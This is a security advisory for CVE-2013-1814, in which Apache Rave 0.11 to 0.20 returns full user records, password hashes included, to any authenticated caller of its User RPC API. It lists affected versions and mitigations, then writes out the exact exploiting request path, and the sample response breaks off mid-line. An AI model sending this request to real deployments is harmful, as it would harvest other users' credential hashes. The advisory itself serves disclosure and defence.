Apache Rave 0.11 0.20 - User Information Disclosure

CVE-2013-1814: Apache Rave exposes User over API

Severity: Important

Vendor: The Apache Software Foundation

Versions Affected:
Rave 0.11 to 0.20

Description:
Rave returns the full user object, including the salted and hashed
password, via the User RPC API.  This endpoint is only available to
authenticated users, but will return all User objects in the database
given the correct query.

Mitigation:
All users who rely on Rave's user management capabilities should
upgrade to 0.20.1 or later.
If an upgrade is infeasible, restrict access to the /app/api/user URL
paths via Spring Security configuration or other means.

Example:
A request to:

/app/api/rpc/users/get?offset=OFFSET

will return the following:

{"error":false,"errorMessage":null,"errorCode":"NO_ERROR","result":{"result=
